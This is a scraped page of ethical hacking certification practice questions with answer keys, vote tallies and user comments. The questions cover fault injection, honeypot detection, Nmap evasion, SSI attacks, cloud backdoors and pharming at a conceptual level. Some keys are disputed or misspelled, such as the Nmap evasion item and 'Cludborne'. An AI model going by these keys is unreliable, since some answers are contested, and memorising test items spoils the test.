Robert, a professional hacker, is attempting to execute a fault injection attack on a target IoT device. In this process, he injects faults into the power supply that can be used for remote execution, also causing the skipping of key instructions. He also injects faults into the clock network used for delivering a synchronized signal across the chip.

Which of the following types of fault injection attack is performed by Robert in the above scenario?

- A. Frequency/voltage tampering
- B. Optical, electromagnetic fault injection (EMFI)
- C. Temperature attack
- D. Power/clock/reset glitching

Correct Answer: D

*Community vote distribution*

D (100%)

✉️ 🚑 LordXander 5 months, 4 weeks ago

Selected Answer: D

CEHv12 - 2818

upvoted 1 times

✉️ 🚑 insaniuut 7 months, 1 week ago

Selected Answer: D

D. Power/clock/reset glitching

upvoted 3 times

Kate dropped her phone and subsequently encountered an issue with the phone's internal speaker. Thus, she is using the phone's loudspeaker for phone calls and other activities. Bob, an attacker, takes advantage of this vulnerability and secretly exploits the hardware of Kate's phone so that he can monitor the loudspeaker's output from data sources such as voice assistants, multimedia messages, and audio files by using a malicious app to breach speech privacy.

What is the type of attack Bob performed on Kate in the above scenario?

- A. SIM card attack
- B. aLTEr attack
- C. Spearphone attack
- D. Man-in-the-disk attack

Correct Answer: C

*Community vote distribution*

C (100%)

✉️  shaody 1 month, 1 week ago

Selected Answer: C

A spearphone attack allows Android apps to record loudspeaker data without any privileges.

upvoted 1 times

✉️  LordXander 5 months, 4 weeks ago

Selected Answer: C

CEHv12 2649

upvoted 1 times

✉️  dobarb 6 months, 3 weeks ago

C. CEH page 2649

upvoted 1 times

✉️  insanint 7 months, 1 week ago

Selected Answer: C

C. Spearphone attack

upvoted 2 times

Dayn, an attacker, wanted to detect if any honeypots are installed in a target network. For this purpose, he used a time-based TCP fingerprinting method to validate the response to a normal computer and the response of a honeypot to a manual SYN request.

Which of the following techniques is employed by Dayn to detect honeypots?

- A. Detecting honeypots running on VMware
- B. Detecting the presence of Snort\_inline honeypots
- C. Detecting the presence of Honeyd honeypots
- D. Detecting the presence of Sebek-based honeypots

Correct Answer: C

*Community vote distribution*

C (100%)

✉  shaody 1 month, 1 week ago

Selected Answer: C

Attacker can identify the presence of honeyd honeypot by performing time-based TCP fingerprinting methods.

upvoted 1 times

✉  sunce12 3 months, 1 week ago

C. Detecting the presence of Honeyd honeypots

upvoted 1 times

✉  LordXander 5 months, 4 weeks ago

Selected Answer: C

CEHv12 - 1760 / 1759

upvoted 1 times

✉  insaniumt 7 months, 1 week ago

Selected Answer: C

C. Detecting the presence of Honeyd honeypots

upvoted 3 times

Morris, an attacker, wanted to check whether the target AP is in a locked state. He attempted using different utilities to identify WPS-enabled APs in the target wireless network. Ultimately, he succeeded with one special command-line utility.

Which of the following command-line utilities allowed Morris to discover the WPS-enabled APs?

- A. wash
- B. net view
- C. macof
- D. ntptrace

Correct Answer: A

*Community vote distribution*

A (100%)

✉️  shaody 1 month, 1 week ago

Selected Answer: A

The tool, Wash can identify the WPS-enabled APs and detect if the AP is in locked or unlocked state.

upvoted 1 times

✉️  LordXander 5 months, 4 weeks ago

Selected Answer: A

CEHv12 - 2439

upvoted 1 times

✉️  insanaint 7 months, 1 week ago

Selected Answer: A

A. wash

upvoted 2 times

BitLocker encryption has been implemented for all the Windows-based computers in an organization. You are concerned that someone might lose their cryptographic key. Therefore, a mechanism was implemented to recover the keys from Active Directory.

What is this mechanism called in cryptography?

- A. Key archival
- B. Certificate rollover
- C. Key escrow
- D. Key renewal

Correct Answer: C

*Community vote distribution*

C (100%)

✉️ 🚑 shaody 1 month, 1 week ago

Selected Answer: C

Key escrow is a key exchange arrangement in which essential cryptographic keys are stored with a third party in escrow.  
upvoted 1 times

✉️ 🚑 insanaint 7 months, 1 week ago

Selected Answer: C

The mechanism implemented to recover cryptographic keys from Active Directory in the context of BitLocker encryption is called:

- C. Key escrow  
upvoted 1 times

A post-breach forensic investigation revealed that a known vulnerability in Apache Struts was to blame for the Equifax data breach that affected 143 million customers. A fix was available from the software vendor for several months prior to the intrusion. This is likely a failure in which of the following security processes?

- A. Secure development lifecycle
- B. Security awareness training
- C. Vendor risk management
- D. Patch management

Correct Answer: D

*Community vote distribution*

D (100%)

✉️ 🚑 insanaint 7 months, 1 week ago

Selected Answer: D

D. Patch management  
upvoted 4 times

Which type of malware spreads from one system to another or from one network to another and causes similar types of damage as viruses do to the infected system?

- A. Worm
- B. Rootkit
- C. Adware
- D. Trojan

Correct Answer: A

*Community vote distribution*

A (100%)

✉️  shaody 1 month, 1 week ago

Selected Answer: A

Worms are malicious programs that independently replicate, execute, and spread across the network connections.

upvoted 1 times

✉️  insanaint 7 months, 1 week ago

Selected Answer: A

A. Worm

upvoted 2 times

Which is the first step followed by Vulnerability Scanners for scanning a network?

- A. OS Detection
- B. Firewall detection
- C. TCP/UDP Port scanning
- D. Checking if the remote host is alive

Correct Answer: D

*Community vote distribution*

D (100%)

✉️  insanaint 7 months, 1 week ago

Selected Answer: D

D. Checking if the remote host is alive

upvoted 4 times

Which Nmap switch helps evade IDS or firewalls?

- A. -D
- B. -n/-R
- C. -T
- D. -oN/-oX/-oG

Correct Answer: C

*Community vote distribution*

A (71%)

C (29%)

✉️  yicx1 3 months ago

Selected Answer: C

So Nmap offers a simpler approach, with six timing templates. You can specify them with the -T option and their number (0–5) or their name. The template names are paranoid (0), sneaky (1), polite (2), normal (3), aggressive (4), and insane (5). The first two are for IDS evasion.

upvoted 1 times

✉️  hughnguyen 4 months, 1 week ago

Selected Answer: C

-D tells the network that there are multiple possible attackers, even though only one of them is real

-T makes the attacker so quiet that the target doesn't even know it's being attacked

Answer is C

upvoted 1 times

✉️  g\_man\_rap 5 months ago

A. -D

This switch is used for "decoy scanning" in Nmap. It allows the user to include fake IP addresses in the scanning traffic, making it appear as if many different hosts are scanning the target network. This can confuse and dilute the logs that an IDS or firewall generates, making it harder to identify the real source of the scan and is a direct method for evasion.

upvoted 1 times

✉️  insaniumt 7 months, 1 week ago

Selected Answer: A

"-D" option in Nmap is used for decoy scanning

upvoted 1 times

✉️  d10f290 7 months, 1 week ago

Selected Answer: A

-D (decoy Scan) is solely meant for IDS evasion,

upvoted 4 times

A "Server-Side Includes" attack refers to the exploitation of a web application by injecting scripts in HTML pages or executing arbitrary code remotely.

Which web-page file type, if it exists on the web server, is a strong indication that the server is vulnerable to this kind of attack?

- A. .stm
- B. .cms
- C. .rss
- D. .html

Correct Answer: A

*Community vote distribution*

A (100%)

✉️👤 insaniunt 7 months, 1 week ago

Selected Answer: A

certain file types, such as .stm or .shtml, is often a strong indication that the server might be using Server-Side Includes.

upvoted 2 times

Harper, a software engineer, is developing an email application. To ensure the confidentiality of email messages, Harper uses a symmetric-key block cipher having a classical 12- or 16-round Feistel network with a block size of 64 bits for encryption, which includes large  $8 \times 32$ -bit S-boxes ( $S_1, S_2, S_3, S_4$ ) based on bent functions, modular addition and subtraction, key-dependent rotation, and XOR operations. This cipher also uses a masking key ( $K_m$ ) and a rotation key ( $K_r$ ) for performing its functions.

What is the algorithm employed by Harper to secure the email messages?

- A. CAST-128
- B. AES
- C. GOST block cipher
- D. DES

Correct Answer: A

*Community vote distribution*

A (100%)

✉️👤 qwerty100 7 months ago

Selected Answer: A

A. CAST-128  
Module 20 Page 3333

upvoted 3 times

✉️👤 nosavotor 7 months ago

Team is this ethical hacking approach correct  
upvoted 1 times

Ron, a security professional, was pen testing web applications and SaaS platforms used by his company. While testing, he found a vulnerability that allows hackers to gain unauthorized access to API objects and perform actions such as view, update, and delete sensitive data of the company.

What is the API vulnerability revealed in the above scenario?

- A. No ABAC validation
- B. Business logic flaws
- C. Improper use of CORS
- D. Code injections

Correct Answer: A

*Community vote distribution*

A (100%)

 shaody 1 month, 1 week ago

Selected Answer: A

Lack of proper ABAC validation allows attackers to gain unauthorized access to API objects or actions to perform viewing, updating, or deleting.  
upvoted 1 times

 qwerty100 6 months, 3 weeks ago

Selected Answer: A

A. No ABAC validation  
upvoted 1 times

 insaniunt 7 months, 1 week ago

Selected Answer: A

A. No ABAC validation. This means that the API does not implement proper attribute-based access control (ABAC) to verify the permissions of the users who request access to the API object  
upvoted 1 times

Louis, a professional hacker, had used specialized tools or search engines to encrypt all his browsing activity and navigate anonymously to obtain sensitive/hidden information about official government or federal databases. After gathering the information, he successfully performed an attack on the target government organization without being traced.

Which of the following techniques is described in the above scenario?

- A. Website footprinting
- B. Dark web footprinting
- C. VPN footprinting
- D. VoIP footprinting

Correct Answer: *B*

*Community vote distribution*

B (100%)

✉️  **sunce12** 3 months, 1 week ago

B. Dark web footprinting  
upvoted 1 times

✉️  **insaniunt** 7 months, 1 week ago

Selected Answer: B  
B. Dark web footprinting  
upvoted 2 times

Thomas, a cloud security professional, is performing security assessment on cloud services to identify any loopholes. He detects a vulnerability in a bare-metal cloud server that can enable hackers to implant malicious backdoors in its firmware. He also identified that an installed backdoor can persist even if the server is reallocated to new clients or businesses that use it as an IaaS.

What is the type of cloud attack that can be performed by exploiting the vulnerability discussed in the above scenario?

- A. Cludborne attack
- B. Man-in-the-cloud (MITC) attack
- C. Metadata spoofing attack
- D. Cloud cryptojacking

Correct Answer: A

*Community vote distribution*

A (100%)

✉️ shaody 1 month, 1 week ago

Selected Answer: A

Cludborne attack is an attack in a bare-metal cloud server that implants a malicious backdoor in its firmware  
upvoted 1 times

✉️ prasoonmk 2 months ago

Selected Answer: A

Cludborne IaaS Attack Allows Persistent Backdoors in the Cloud

A known vulnerability combined with a weakness in bare-metal server reclamation opens the door to powerful, high-impact attacks.

An attack scenario affecting various cloud providers could allow an attacker to implant persistent backdoors for data theft into bare-metal cloud servers, which would be able to remain intact as the cloud infrastructure moves from customer to customer. This opens the door to a wide array of attacks on businesses that use infrastructure-as-a-service (IaaS) offerings.  
upvoted 1 times

✉️ insanint 7 months, 1 week ago

Selected Answer: A

A- Cludborne attack involves compromising the underlying infrastructure, such as firmware vulnerabilities  
upvoted 3 times

Which of the following tactics uses malicious code to redirect users' web traffic?

- A. Spear-phishing
- B. Phishing
- C. Spimming
- D. Pharming

Correct Answer: D

*Community vote distribution*

D (100%)

✉️👤 prasoonmk 2 months ago

Selected Answer: D

Pharming is a type of social engineering cyberattack in which criminals redirect internet users trying to reach a specific website to a different, fake site. These "spoofed" sites aim to capture a victim's personally identifiable information (PII) and log-in credentials, such as passwords, social security numbers, account numbers, and so on, or else they attempt to install pharming malware on their computer. Pharmers often target websites in the financial sector, including banks, online payment platforms, or e-commerce sites, usually with identity theft as their ultimate objective.

Pharming exploits the foundation of how internet browsing works — namely, that the sequence of letters that form an internet address, such as www.google.com, have to be converted into an IP address by a DNS server for the connection to proceed.

upvoted 1 times

✉️👤 ahmedalkibsy 7 months ago

D. Pharming is a cyberattack intended to redirect a website's traffic to another, fake site by installing a malicious program on the computer. Pharming can be conducted either by changing the hosts file on a victim's computer or by exploitation of a vulnerability in DNS server software

upvoted 1 times

✉️👤 insanaint 7 months, 1 week ago

Selected Answer: D

D. Pharming

upvoted 3 times

## Get IT Certification

Unlock free, top-quality video courses on ExamTopics with a simple registration. Elevate your learning journey with our expertly curated content. Register now to access a diverse range of educational resources designed for your success. Start learning today with ExamTopics!

[Start Learning for free](#)